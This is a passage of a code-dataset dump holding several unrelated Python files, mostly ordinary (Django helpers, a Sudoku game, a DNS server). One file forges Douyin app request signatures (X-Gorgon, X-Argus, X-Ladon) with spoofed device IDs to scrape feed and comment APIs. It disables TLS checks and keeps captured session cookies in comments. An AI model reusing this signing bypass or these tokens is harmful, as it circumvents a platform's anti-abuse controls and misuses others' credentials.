listdir(folder):\n\t\t\tif 'tuesday' in file: continue\n\n\t\t\tday_data = self.read_clusters(folder, file)\n\t\t\tfor key in day_data.keys():\n\t\t\t\tself.plot_dots(day_data[key], file)\n\nif __name__ == '__main__':\n\n\tmp = MapPlotter()\n\tmp.plot()\n","repo_name":"lucaslzl/ponche","sub_path":"output/mapplotter.py","file_name":"mapplotter.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"71624803305","text":"import socket\n\nfrom apputils.core import Configuration\n\nfrom classes.dns_listener import DNSProtocol\nfrom classes.docker_listener import DockerListener\n\nimport logging\nimport asyncio\n\n\nconf = Configuration()\n\n\nlogging.basicConfig(level=logging.INFO, format='%(threadName)s %(message)s')\n\nlog = logging.getLogger(__name__)\nlisten = conf.get(\"listen\", default=[\"127.0.0.1:53\"], check_type=list)\nmyname = conf.get(\"myname\", default=\"FakeServer\", check_type=str)\n\n\ndef main():\n loop = asyncio.get_event_loop()\n docker_listener = DockerListener(conf.get(\"docker\"))\n DNSProtocol._name = myname\n\n futures = docker_listener.get_futures()\n\n for l in listen:\n ip, _, port = l.partition(\":\")\n if not port:\n port = 53\n\n port = int(port)\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind((ip, port))\n\n futures.append(loop.create_datagram_endpoint(DNSProtocol, sock=sock))\n\n loop.run_until_complete(asyncio.gather(*futures))\n loop.run_forever()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"hapylestat/dockerDNS","sub_path":"docker_dns.py","file_name":"docker_dns.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18654088258","text":"import pickle\n\n\nfile_path = \"/Users/childe/logs/shoplist.data\"\n\nshop_list = ['apple', 'mango', 'carrot']\n\nf = None\ntry:\n f = open(file_path, mode=\"wb\")\n pickle.dump(shop_list, f)\nfinally:\n if f:\n f.close()\n\n\ndel shop_list\n\n# with...as 会获取由 open 语句返回的对象,在本案例中就是“thefile”。\n# 它总会在代码块开始之前调用 thefile.__enter__ 函数,并且总会在代码块执行完毕之后调用 thefile.__exit__。\n# 等价于 try..finally 的语法糖\nwith open(file_path, mode=\"rb\") as f:\n store_list = pickle.load(f)\n\nprint(store_list)\n\n","repo_name":"Childe-Chen/study-python","sub_path":"base/io_pickle.py","file_name":"io_pickle.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21994648776","text":"import json\nimport time\nfrom hashlib import md5\nfrom urllib.parse import urlencode, quote\n\nimport requests\n\nfrom demo.iOS.api.api import XLadon, XGorgon, XArgus\nfrom demo.iOS.bean.device_info import DeviceApp\n\n\nclass TestCommon:\n\n @classmethod\n def encrypt_header(cls, query_str: str, body: bytes, did):\n x_ss_stub = None\n if did is None or len(did) == 0:\n did = None\n\n if body is not None:\n x_ss_stub = md5(body).hexdigest().upper()\n\n x_khronos = int(time.time())\n x_ladon = XLadon.encrypt(x_khronos, DeviceApp.license_id)\n x_gorgon = XGorgon.build(query_str, x_ss_stub, DeviceApp.sdk_version, x_khronos)\n x_argus = XArgus.build_local({\n 'deviceID': did,\n 'licenseID': DeviceApp.license_id,\n 'appVersion': DeviceApp.app_version,\n 'sdkVersionStr': DeviceApp.sdk_version_str,\n 'sdkVersion': DeviceApp.sdk_version,\n 'x_khronos': x_khronos,\n 'x_ss_stub': x_ss_stub, # request for get is null\n 'secDeviceToken': '', # can be null\n 'query': query_str,\n 'x_bd_lanusk': None, # return after login\n })\n\n return {\n 'tt-request-time': str(int(time.time() * 1000)),\n 'x-khronos': str(x_khronos),\n 'x-ss-stub': x_ss_stub,\n 'x-argus': x_argus,\n 'x-gorgon': x_gorgon,\n 'x-ladon': x_ladon,\n }\n\n @classmethod\n def get_feed(cls):\n query = {\n \"action_mask\": \"-1\",\n \"audio_value\": \"0.06\",\n \"cached_item_num\": \"3\",\n \"count\": \"6\",\n \"feed_recommend_req_index\": \"4\",\n \"feed_style\": \"1\",\n \"filter_warn\": \"0\",\n \"font_category\": \"UICTContentSizeCategoryL\",\n \"gps_access\": \"0\",\n \"is_order_flow\": \"0\",\n \"last_ad_show_interval\": \"-1\",\n \"launch_times\": \"10\",\n \"location_permission\": \"false\",\n \"mac_address\": \"02:00:00:00:00:00\",\n \"max_cursor\": \"0\",\n \"pull_type\": \"2\",\n \"screen_type\": \"0\",\n \"sp\": \"5194\",\n \"type\": \"0\",\n \"volume\": \"0.06\",\n }\n common = {\n \"ac\": \"WIFI\",\n \"address_book_access\": \"2\",\n \"aid\": \"1128\",\n \"appTheme\": \"light\",\n \"app_name\": \"aweme\",\n \"app_version\": \"22.0.0\",\n \"build_number\": \"220015\",\n \"cdid\": \"B08223A7-06E2-443C-BBFD-AA47B5359739\",\n \"channel\": \"App Store\",\n \"device_id\": \"629334861677687\",\n \"device_platform\": \"iphone\",\n \"device_type\": \"iPhone8,1\",\n \"idfa\": \"E2CBBF07-B31C-4AC9-83CC-13347E3D4354\",\n \"iid\": \"1508946220164670\",\n \"is_guest_mode\": \"0\",\n \"is_vcd\": \"1\",\n \"js_sdk_version\": \"2.63.1.2\",\n \"minor_status\": \"0\",\n \"need_personal_recommend\": \"1\",\n \"openudid\": \"6d0cc0c63a86d6af9751e11de78ef406e323822b\",\n \"os_api\": \"18\",\n \"os_version\": \"12.1.4\",\n \"package\": \"com.ss.iphone.ugc.Aweme\",\n \"screen_width\": \"750\",\n \"slide_guide_has_shown\": \"1\",\n \"tma_jssdk_version\": \"2.63.1.2\",\n \"user_avatar_shrink\": \"96_96\",\n \"version_code\": \"22.0.0\",\n \"vid\": \"A4457E89-2843-4ADA-87AB-53A3FE84C7B0\"\n }\n\n header = {\n \"accept-encoding\": \"gzip, deflate, br\",\n # \"cookie\": \"odin_tt=e57a0183112cec841ef6396b71f38a571c07c3701b12a2b9102a56fddc4ae4fb0da5dd9a8f20858d62ca757ee0466023c75bce75ea8e8f35238f69861025bd6a; passport_csrf_token=9705fd14b1484c786d2d020cf830e37b; passport_csrf_token_default=9705fd14b1484c786d2d020cf830e37b; install_id=1508946220164670; ttreq=1$9d823d1483d5dc9840198e8b7e7705f9af543b99; msToken=_6QBt_L0VNlLRQruYoFGMaNYaegWuhbaB81VfkAstZvd7fMgh_KiibJgqwCh9K1-8SwE86pP9FRnkm9Ejj0dOpWB\",\n \"passport-sdk-version\": \"5.12.1\",\n \"sdk-version\": \"2\",\n \"user-agent\": \"Aweme 22.0.0 rv:220015 (iPhone; iOS 12.1.4; zh_CN) Cronet\",\n # \"x-argus\": \"jIzXaG/Ga4GvZhauoVz88N1cEILyr62hr6W6iZtPjTg4/f4XkCYLbmaQ/5M3e001J0k4VSBgDmLNIgC8waJuV50RCzfnToKaTtIB0d2Wf1nV3MLq2gimRO6jtHp9Cyhy1DABGM4KqwmsBJfsd+0dmgtq6RGb0vimNLZcz4Xkst6z12vXWA+6LhHL38I/70x2vumsKfOnUgElpWUNpYRQcPgv5yuNEGmAi3lXlS+xvOma7LwzmrbF1NmZHZFm81kviaY=\",\n # \"x-common-params-v2\": \"device_id=629334861677687&os_version=12.1.4&iid=1508946220164670&app_name=aweme&slide_guide_has_shown=1&ac=WIFI&appTheme=light&js_sdk_version=2.63.1.2&version_code=22.0.0&channel=App%20Store&is_vcd=1&tma_jssdk_version=2.63.1.2&os_api=18&need_personal_recommend=1&device_platform=iphone&device_type=iPhone8,1&is_guest_mode=0&build_number=220015&minor_status=0&aid=1128&mcc_mnc=&screen_width=750&package=com.pzkah.MonkeyTT&cdid=B08223A7-06E2-443C-BBFD-AA47B5359739&app_version=22.0.0&user_avatar_shrink=96_96&vid=A4457E89-2843-4ADA-87AB-53A3FE84C7B0&openudid=6d0cc0c63a86d6af9751e11de78ef406e323822b&idfa=E2CBBF07-B31C-4AC9-83CC-13347E3D4354&address_book_access=2\",\n # \"x-gorgon\": \"84046039b801fa804795943616110da0ed0b898d73b8d8fe6d65\",\n # \"x-khronos\": \"1662445522\",\n # \"x-ladon\": \"kmAtWzTM3+Z1otEPr9iCAnWe5ezCvZ+JZHDKK/WxVzPUWSnx\",\n \"x-ss-dp\": \"1128\",\n # \"x-tt-dt\": \"AAA4AYTGENURLVGEIKGJYF7XUTGUW26OZIQGNFZOOGQ2QZYVBQFGJPOPOGGCO4OKBUIUOBKJ2PKSE5DJTFVNHF3NHZRY3N5LMZG2ODVN63TXEJOKT5C3H2IWXAWFC32V4GMSXYIA2NOVDG54GLAZZ3A\",\n \"x-tt-request-tag\": \"s=-1\",\n \"x-tt-trace-id\": \"00-11798f870d23c6070e00477647bd0468-11798f870d23c607-01\"\n }\n\n query_str = urlencode(query, safe='/', quote_via=quote) + '&'\n print(query_str)\n common_str = urlencode(common)\n header['x-common-params-v2'] = common_str\n headers = header | cls.encrypt_header(f\"{query_str}{common_str}\", None, common['device_id'])\n\n print(headers)\n requests.packages.urllib3.disable_warnings()\n resp = requests.get(\n url=f\"https://api5-core-c-lf.amemv.com/aweme/v2/feed/?{query_str}\",\n headers=headers,\n verify=False,\n proxies={},\n timeout=15)\n print(resp.content)\n\n @classmethod\n def get_comment(cls):\n # https://api5-normal-c-hl.amemv.com/aweme/v2/comment/list/?hotsoon_filtered_count=0&top_query_word=&aweme_id=7136036092108672296&count=20&hotsoon_has_more=0&is_familiar=0&forward_page_type=1&channel_id=0&item_type=0&city=350200&cursor=0&gps_access=5&follower_count=0&insert_ids=&page_resource=0&\n query = {\n \"aweme_id\": \"7104196251775716643\",\n \"channel_id\": \"0\",\n \"city\": \"350200\",\n \"count\": \"20\",\n \"cursor\": \"0\",\n \"follower_count\": \"0\",\n \"forward_page_type\": \"1\",\n \"gps_access\": \"5\",\n \"hotsoon_filtered_count\": \"0\",\n \"hotsoon_has_more\": \"0\",\n \"is_familiar\": \"0\",\n \"item_type\": \"0\",\n \"page_resource\": \"0\"\n }\n\n common = {\n \"ac\": \"WIFI\",\n \"address_book_access\": \"2\",\n \"aid\": \"1128\",\n \"appTheme\": \"light\",\n \"app_name\": \"aweme\",\n \"app_version\": \"22.0.0\",\n \"build_number\": \"220015\",\n \"cdid\": \"D2FBD885-164C-47CD-A834-73073425F95D\",\n \"channel\": \"App Store\",\n \"device_id\": \"2019121803839694\",\n \"device_platform\": \"iphone\",\n \"device_type\": \"iPhone11,8\",\n \"iid\": \"3373720129246568\",\n \"is_guest_mode\": \"0\",\n \"is_vcd\": \"1\",\n \"js_sdk_version\": \"2.66.0.9\",\n \"mcc_mnc\": \"46011\",\n \"minor_status\": \"0\",\n \"need_personal_recommend\": \"1\",\n \"os_api\": \"18\",\n \"os_version\": \"12.4.1\",\n \"package\": \"com.ss.iphone.ugc.Aweme\",\n \"screen_width\": \"750\",\n \"tma_jssdk_version\": \"2.66.0.9\",\n \"user_avatar_shrink\": \"64_64\",\n \"version_code\": \"22.0.0\"\n }\n headers = {\n # \"accept-encoding\": \"gzip, deflate, br\",\n # \"cookie\": \"odin_tt=bd5f7430dca46da078aab1809e9edecc262e2b7e2d374ac0e5816bed8373f8f35d3b79c3dbdfabf20497c531b83e3ed7dad4ab2def3bea191edc61e68ad600b8f38495e0be45b374225d515a48c4c4fc; install_id=3373720129246568; ttreq=1$62088ad9bc3c2a8e3f39a1477b81a775d566944c; passport_csrf_token=178881ed4e940dd27ef367d076bf0709; passport_csrf_token_default=178881ed4e940dd27ef367d076bf0709\",\n \"passport-sdk-version\": \"5.12.1\",\n \"sdk-version\": \"2\",\n \"user-agent\": \"Aweme 22.0.0 rv:220015 (iPhone; iOS 12.4.1; zh_CN) Cronet\",\n # \"x-argus\": \"A8bNjDTeKoO6RWSF4L7VLXhq9nyFaxts/Ju37RCJpztcoky8NbFS3Uy9/zlawDMNUI8qrJbRDscYxnAc7VIRK3pv1lYHQxyMiKZRJih6xXbEXZasZ0Xyn3acfz1mxvYMKpJZJQ3wgiQ2ejMzal9qa3bfKgy1O5PfzekiJoBJwfsGfLqjfse9JJlO4P1TIghPD60KI6jaJP3L9NtUc3liAU53wJ9Ix59WUP6MOWbCAX9jN4iWGV0gNCwUeozb6ixKVoA=\",\n # \"x-common-params-v2\": \"device_id=2019121803839694&os_version=12.4.1&iid=3373720129246568&app_name=aweme&ac=WIFI&appTheme=light&js_sdk_version=2.66.0.9&version_code=22.0.0&channel=App%20Store&is_vcd=1&tma_jssdk_version=2.66.0.9&os_api=18&need_personal_recommend=1&device_platform=iphone&device_type=iPhone11,8&is_guest_mode=0&build_number=220015&minor_status=0&aid=1128&mcc_mnc=46011&screen_width=750&package=cn.zxlee.ZXHookUtil.ZXHookUtilMoney&cdid=D2FBD885-164C-47CD-A834-73073425F95D&app_version=22.0.0&user_avatar_shrink=64_64&address_book_access=2\",\n # \"x-gorgon\": \"84042001f8012ec7f3b6ff4fd6dc329696f2e1f93b5c84878de2\",\n # \"x-khronos\": \"1662449787\",\n # \"x-ladon\": \"9hwmYYbqnz1Xxv0zMsGzbvQsymNvv7ZVC3VhgAJ8TVP9VBZK\",\n \"x-ss-dp\": \"1128\",\n # \"x-tt-dt\": \"AAA3DKFBFZGJTH7D4YJYZQZRKZCMWBPNT74VGCYQDTJJMMPBZ2VCUWOSEMZZ4CRWNNY3LFM7POXI2PCESLBMHCJ4HTC3BJM2WTHEHTGDENN74TIQ3QTV242PRU5FQFF6OXK5I7SOUUNTA5HUEWYQL4A\",\n \"x-tt-request-tag\": \"s=-1\",\n # \"x-tt-trace-id\": \"00-11ba9c5e0d72c616de048ce017590468-11ba9c5e0d72c616-01\",\n \"x-vc-bdturing-sdk-version\": \"2.2.7\"\n\n }\n\n query_str = urlencode(query, safe='/,', quote_via=quote) + '&'\n print(query_str)\n common_str = urlencode(common)\n headers['x-common-params-v2'] = common_str\n headers = headers | cls.encrypt_header(f\"{query_str}{common_str}\", None, common['device_id'])\n requests.packages.urllib3.disable_warnings()\n resp = requests.get(\n url=f\"https://api5-normal-c-hl.amemv.com/aweme/v2/comment/list/?{query_str}\",\n headers=headers,\n verify=False,\n timeout=30)\n # print(resp.text)\n # print(str(resp.content, \"utf-8\"))\n data = json.loads(str(resp.content, \"utf-8\"))\n print(json.dumps(data, indent=4, ensure_ascii=False))\n\n\nif __name__ == \"__main__\":\n # TestCommon.get_feed()\n TestCommon.get_comment()\n","repo_name":"saelssa/get-encrypted-param","sub_path":"demo/iOS/get_comment.py","file_name":"get_comment.py","file_ext":"py","file_size_in_byte":10999,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"36"} +{"seq_id":"30538720838","text":"\"\"\"\nDjango command to wait for the database to be available.\n\"\"\"\nimport time\n\nfrom psycopg2 import OperationalError as Psycopg2OpError\n\nfrom django.db.utils import OperationalError\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n \"\"\"Django command to wait for database.\"\"\"\n\n def handle(self, *args, **options):\n \"\"\"Entrypoint for command.\"\"\"\n self.stdout.write('Waiting for database...')\n db_up = False\n while db_up is False:\n try:\n self.check(databases=['default'])\n db_up = True # assume exceptions were not raised\n except (Psycopg2OpError, OperationalError):\n # if database is not ready,\n # raise a error, depending on the stage it stops\n self.stdout.write('Database unavailable, waiting 1 second...')\n time.sleep(1)\n # if true, the while loop will stop, because bd_up is not false\n self.stdout.write(self.style.SUCCESS('Database available!'))\n # database is available\n","repo_name":"gxysimon/recipe-app-api","sub_path":"app/core/management/commands/wait_for_db.py","file_name":"wait_for_db.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2962470975","text":"import numpy as np\nclass MatrizUtilities:\n # Libreria para realizar calculos cientificos eficientes.\n def __init__(self):\n pass\n def get_matriz_aumentada(self, A, b):\n \"\"\"\n Retorna la matriz aumentada Ab.\n \"\"\"\n _b = np.array(b, dtype=float)\n _A = np.array(A, dtype=float)\n _Ab = np.insert(_A, _A.shape[1], _b, axis=1)\n return _Ab \n def det(self, A):\n \"\"\"\n Retorna el determinante de la matriz A.\n \"\"\"\n _A = np.array(A, dtype=float)\n if _A.shape[0] != _A.shape[1]:\n raise \"La matriz debe ser cuadrada.\"\n _det = self.__det(_A, _A.shape[0])\n return _det\n def __det(self, A, n):\n if n == 1:\n return A[0][0]\n resultado = 0.0\n for i in range(0, n):\n eliminar_columna = [c for c in range(0, n) if c != i]\n resultado += (-1)**i * A[0][i] * self.__det(A[1:, eliminar_columna], n - 1)\n return resultado","repo_name":"jvalen92/Analisis-Numerico","sub_path":"SolucionDeSistemasDeEcuaciones/tareas/grajales_alzate/matriz.py","file_name":"matriz.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"32492779968","text":"# -*- coding: utf-8 -*-\nimport random\n\n# create_board\ndef create_board():\n seed = [1,2,3,4,5,6]\n random.shuffle(seed)\n seed1 = [seed[1], seed[2], seed[3], seed[4], seed[5], seed[0]]\n seed2 = [seed[2], seed[3], seed[4], seed[5], seed[0], seed[1]]\n seed3 = [seed[3], seed[4], seed[5], seed[0], seed[1], seed[2]]\n seed4 = [seed[4], seed[5], seed[0], seed[1], seed[2], seed[3]]\n seed5 = [seed[5], seed[0], seed[1], seed[2], seed[3], seed[4]]\n return [seed, seed1, seed2, seed3, seed4 ,seed5]\n\n# shuffle\ndef shuffle_ribbons(board):\n top_half = board[0:3]\n random.shuffle(top_half)\n bottom_half = board[3:7]\n random.shuffle(bottom_half)\n return top_half + bottom_half\n\n# transpose\nimport random\ndef transpose(board):\n transposed = []\n for _ in range(len(board)):\n transposed.append([])\n for row in board:\n for x in range(len(row)):\n transposed[x] += [row[x]]\n return transposed\n\n# solution\ndef create_solution_board():\n board = create_board()\n board = shuffle_ribbons(board)\n board = transpose(board)\n board = shuffle_ribbons(board)\n board = transpose(board)\n return board\n\n# get_level\ndef get_level():\n print('[sudok6x6] \\n만든이: ICT 융합학부 정지용(2019027747)\\n')\n level = input(\"난이도 (상중하) 중에서 하나 선택하여 입력: \")\n while level not in {\"상\",\"중\",\"하\"}:\n level = input(\"난이도 (상중하) 중에서 하나 선택하여 입력: \")\n if level == '상':\n return 14\n elif level == '중':\n return 10\n elif level == '하':\n return 6\n # level 이 '하' 이면 return 6\n # level 이 '중' 이면 return 10\n # level 이 '상' 이면 return 14\n\n# make_holes\ndef make_holes(board,no_of_holes):\n holeset = set()\n while no_of_holes > 0:\n i = random.randint(0,5)\n j = random.randint(0,5)\n if board[i][j] == 0:\n continue\n else:\n board[i][j] = 0\n holeset.add((i,j))\n no_of_holes -= 1\n return (board, holeset)\n\n# copy_board\ndef copy_board(board):\n board_clone = []\n for row in board :\n row_clone = row[:]\n board_clone.append(row_clone)\n return board_clone\n\n# show_board\ndef show_board(board):\n print()\n print('S','|','1','2','3','4','5','6')\n print('-','+','-','-','-','-','-','-')\n i = 1\n for row in board:\n for a in range(len(row)):\n if row[a] == 0:\n row[a] = '.'\n print(i, '|', row[0],row[1],row[2],row[3],row[4],row[5])\n i += 1\n print()\n\n# get_integer\ndef get_integer(message,i,j):\n number = input(message)\n while not (number.isdigit() and (i <= int(number) <= j)):\n number = input(message)\n return int(number)\n\n# sudok6x6\ndef sudok6x6():\n solution = create_solution_board()\n no_of_holes = get_level()\n puzzle = copy_board(solution)\n (puzzle,holeset) = make_holes(puzzle,no_of_holes)\n show_board(puzzle)\n while no_of_holes > 0:\n i = get_integer(\"가로줄번호(1~6): \",1,6) - 1\n j = get_integer(\"세로줄번호(1~6): \",1,6) - 1\n if (i,j) not in holeset:\n print(\"빈칸이 아닙니다.\")\n continue\n n = get_integer(\"숫자(1~6): \",1,6)\n sol = solution[i][j]\n if n == sol:\n puzzle[i][j] = sol\n show_board(puzzle)\n holeset.remove((i,j))\n no_of_holes -= 1\n else:\n print(n,\"가 아닙니다. 다시 해보세요.\")\n return \"잘 하셨습니다. 또 들려주세요.\"\n\nprint(sudok6x6())","repo_name":"StopDragon/CSE1017","sub_path":"Assignment/숙제 #7-1.py","file_name":"숙제 #7-1.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21709290886","text":"from operator import index\nfrom tkinter import CENTER\nfrom django.shortcuts import render, redirect\nfrom musicgenre.barchart import get_dataframe\n\nfrom musicgenre.forms import uploadingForm\nfrom django.contrib import messages\nimport numpy as np\n\nfrom musicgenre.models import uploading\nfrom .predict import load_data\nimport json\nimport matplotlib.pyplot as plt\nfrom django.core.files.storage import FileSystemStorage\n\n\nfrom .getMfcc import getmfcc\nfrom .modelProcess import predictingOutput\n\nJSON_PATH = \"final.json\"\nDATA_PATH = \"./final.json\"\n\n\ndef uploadfile(request):\n form = uploadingForm()\n try:\n if request.method == 'POST':\n form = uploadingForm(request.POST, request.FILES)\n\n try:\n myfile = request.FILES['upload_music']\n except:\n messages.error(\n request, 'Sorry, the field is empty. Please upload music file with extension .wav ')\n # print(\"error\")\n return render(request, 'musicgenre/home.html')\n\n myfile = request.FILES['upload_music']\n fs = FileSystemStorage()\n print(fs)\n print(myfile)\n filename = fs.save(myfile.name, myfile)\n print(filename)\n # print(filename.url)\n uploaded_file_url = fs.url(filename)\n print(uploaded_file_url)\n if not myfile.name.endswith('.wav'):\n messages.error(\n request, 'Sorry, Please upload music file with extension .wav ')\n print(\"error\")\n return render(request, 'musicgenre/home.html')\n ok = form.save(commit=False)\n ok.save(myfile)\n #uploaded_file_url = ok.url(myfile)\n getmfcc(myfile, JSON_PATH)\n final_mfcc = load_data(DATA_PATH)\n # print(final_mfcc)\n # print(final_mfcc.shape) # changed array shape\n\n genreLabelling, tempAverage = predictingOutput(final_mfcc)\n\n df = get_dataframe(tempAverage)\n\n messages.text = \"Your predicted genre is : \"\n messages.text = messages.text + genreLabelling\n messages.success(request, messages.text)\n #messages.success(request, 'Uploaded music file')\n\n df = df.to_html(justify='justify-all', index=False)\n df = df.replace('class=\"dataframe\"',\n 'class=\"table table-dark table-hover\"')\n #df = df.to_html().replace('', '').replace('', '')\n context = {\n 'df': df,\n 'form': form,\n 'uploaded_file_url': uploaded_file_url,\n 'filename': filename,\n }\n return render(request, 'musicgenre/home.html', context)\n except:\n messages.error(request, 'Oops!, Something went wrong')\n return render(request, 'musicgenre/home.html')\n\n form = uploadingForm()\n return render(request, 'musicgenre/home.html', {'form': form})\n","repo_name":"aj-sapkota/Music-Genre-Classification","sub_path":"musicgenre/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"30017111099","text":"# coding=utf-8\n\nimport math\nimport time\nfrom msvcrt import getch\n\nimport cv2\nimport numpy as np\n\nWHITE = (255, 255, 255)\n\nVEL = 3\nROT_FAST = 6\nROT_SLOW = 4\n\n\ndef printCoords(event, x, y, flags, param):\n if event != cv2.EVENT_LBUTTONDOWN:\n return\n print(x, y)\n\n\ndef initialize_display():\n cv2.namedWindow(\"working\")\n cv2.setMouseCallback(\"working\", printCoords)\n\n img = cv2.imread(\"baseline.png\")\n img = cv2.resize(img, (0, 0), img, 0.25, 0.25)\n\n return img\n\n\ndef render_scene(img, player_coords,\n x_center=181,\n y_center=302,\n exterior_width=272,\n exterior_height=249,\n exterior_rad=120,\n interior_width=98,\n interior_height=190,\n interior_rad=40):\n img = np.zeros(img.shape, np.uint8)\n\n # Draw outer border\n cv2.ellipse(img, (x_center, y_center - exterior_height // 2), (exterior_width // 2, exterior_rad), 180, 0, 180, WHITE)\n cv2.ellipse(img, (x_center, y_center + exterior_height // 2), (exterior_width // 2, exterior_rad), 0, 0, 180, WHITE)\n cv2.line(img, (x_center - exterior_width // 2, y_center - exterior_height // 2),\n (x_center - exterior_width // 2, y_center + exterior_height // 2), WHITE)\n cv2.line(img, (x_center + exterior_width // 2, y_center - exterior_height // 2),\n (x_center + exterior_width // 2, y_center + exterior_height // 2), WHITE)\n\n # Draw inner border\n cv2.ellipse(img, (x_center, y_center - interior_height // 2), (interior_width // 2, interior_rad), 180, 0, 180, WHITE)\n cv2.ellipse(img, (x_center, y_center + interior_height // 2), (interior_width // 2, interior_rad), 0, 0, 180, WHITE)\n cv2.line(img, (x_center - interior_width // 2, y_center - interior_height // 2),\n (x_center - interior_width // 2, y_center + interior_height // 2), WHITE)\n cv2.line(img, (x_center + interior_width // 2, y_center - interior_height // 2),\n (x_center + interior_width // 2, y_center + interior_height // 2), WHITE)\n\n # Draw player\n cv2.circle(img, player_coords[:2], 10, WHITE)\n\n cv2.imshow(\"working\", img)\n\n\ndef update(x, y, vel_angle, orient_angle):\n x += int(math.cos(math.radians(vel_angle)) * VEL)\n y += int(math.sin(math.radians(vel_angle)) * VEL)\n vel_angle += (orient_angle > vel_angle) * min(ROT_SLOW, abs(orient_angle - vel_angle))\n return x, y, vel_angle, orient_angle\n\n\ndef main():\n player_coords = (91, 422, -90, -90)\n img = initialize_display()\n\n while True:\n player_coords = update(*player_coords)\n render_scene(img, player_coords)\n if cv2.waitKey(15) != 255:\n player_coords = (*player_coords[:3], player_coords[3] + ROT_FAST)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"rahularya50/colorswitch","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"19650959216","text":"\nimport os\nimport pkg.types.types as types\nimport pkg.maths.maths as maths\n\n#GetENV fetches all the env variables from the runner pod\ndef GetENV(experimentDetails):\n\texperimentDetails.ExperimentName = os.getenv(\"EXPERIMENT_NAME\", \"pod-delete\")\n\texperimentDetails.ChaosNamespace = os.getenv(\"CHAOS_NAMESPACE\", \"litmus\")\n\texperimentDetails.EngineName = os.getenv(\"CHAOSENGINE\", \"\")\n\texperimentDetails.ChaosDuration = maths.atoi(os.getenv(\"TOTAL_CHAOS_DURATION\", \"30\"))\n\texperimentDetails.ChaosInterval = os.getenv(\"CHAOS_INTERVAL\", \"10\")\n\texperimentDetails.RampTime = maths.atoi(os.getenv(\"RAMP_TIME\", \"0\"))\n\texperimentDetails.ChaosLib = os.getenv(\"LIB\", \"litmus\")\n\texperimentDetails.AppNS = os.getenv(\"APP_NAMESPACE\", \"\")\n\texperimentDetails.AppLabel = os.getenv(\"APP_LABEL\", \"\")\n\texperimentDetails.AppKind = os.getenv(\"APP_KIND\", \"\")\n\texperimentDetails.ChaosUID = os.getenv(\"CHAOS_UID\", \"\")\n\texperimentDetails.InstanceID = os.getenv(\"INSTANCE_ID\", \"\")\n\texperimentDetails.ChaosPodName = os.getenv(\"POD_NAME\", \"\")\n\texperimentDetails.Force = (os.getenv(\"FORCE\", \"false\") == 'true')\n\texperimentDetails.Delay = maths.atoi(os.getenv(\"STATUS_CHECK_DELAY\", \"2\"))\n\texperimentDetails.Timeout = maths.atoi(os.getenv(\"STATUS_CHECK_TIMEOUT\", \"180\"))\n\texperimentDetails.TargetPods = os.getenv(\"TARGET_PODS\", \"\")\n\texperimentDetails.PodsAffectedPerc = maths.atoi(os.getenv(\"PODS_AFFECTED_PERC\", \"0\"))\n\texperimentDetails.Sequence = os.getenv(\"SEQUENCE\", \"parallel\")\n\texperimentDetails.TargetContainer = os.getenv(\"TARGET_CONTAINER\", \"\")\n\n#InitialiseChaosVariables initialise all the global variables\ndef InitialiseChaosVariables(chaosDetails, experimentDetails):\n\tappDetails = types.AppDetails()\n\tappDetails.AnnotationCheck = (os.getenv(\"ANNOTATION_CHECK\", \"false\") == 'true')\n\tappDetails.AnnotationKey = os.getenv(\"ANNOTATION_KEY\", \"litmuschaos.io/chaos\")\n\tappDetails.AnnotationValue = \"true\"\n\tappDetails.Kind = experimentDetails.AppKind\n\tappDetails.Label = experimentDetails.AppLabel\n\tappDetails.Namespace = experimentDetails.AppNS\n\n\tchaosDetails.ChaosNamespace = experimentDetails.ChaosNamespace\n\tchaosDetails.ChaosPodName = experimentDetails.ChaosPodName\n\tchaosDetails.ChaosUID = experimentDetails.ChaosUID\n\tchaosDetails.EngineName = experimentDetails.EngineName\n\tchaosDetails.ExperimentName = experimentDetails.ExperimentName\n\tchaosDetails.InstanceID = experimentDetails.InstanceID\n\tchaosDetails.Timeout = experimentDetails.Timeout\n\tchaosDetails.Delay = experimentDetails.Delay\n\tchaosDetails.AppDetail = appDetails\n\tchaosDetails.Randomness = (os.getenv(\"RANDOMNESS\", \"false\") == 'true')\n\n","repo_name":"litmuschaos/litmus-python","sub_path":"pkg/generic/pod_delete/environment/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"36"} +{"seq_id":"14712772892","text":"'''\n - message\n1 status\n2 target\n3 \n\n+ to increase\n- to decrease\n\npsn - poison\nslp - sleep\nbrn - burn\nfrz - freeze\nfln - flinch\nran - any random stat\n'''\nwith open('mvlist.txt','r') as fp :\n\tf1 = fp.readlines()\n# alp = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']\nf = open('newmvarr.txt','a')\nc = open('status.txt','r')\nx = c.readlines()\na = int(x[-1])\nprint(\"Use own and oppp\")\nfor i in range(a,len(f1)) : #len(f1)\n\tnew = str(f1[i])\n\tss = new.split(\"'' , '\")\n\tprint(ss[0],'\\n',ss[-1])\n\tss = 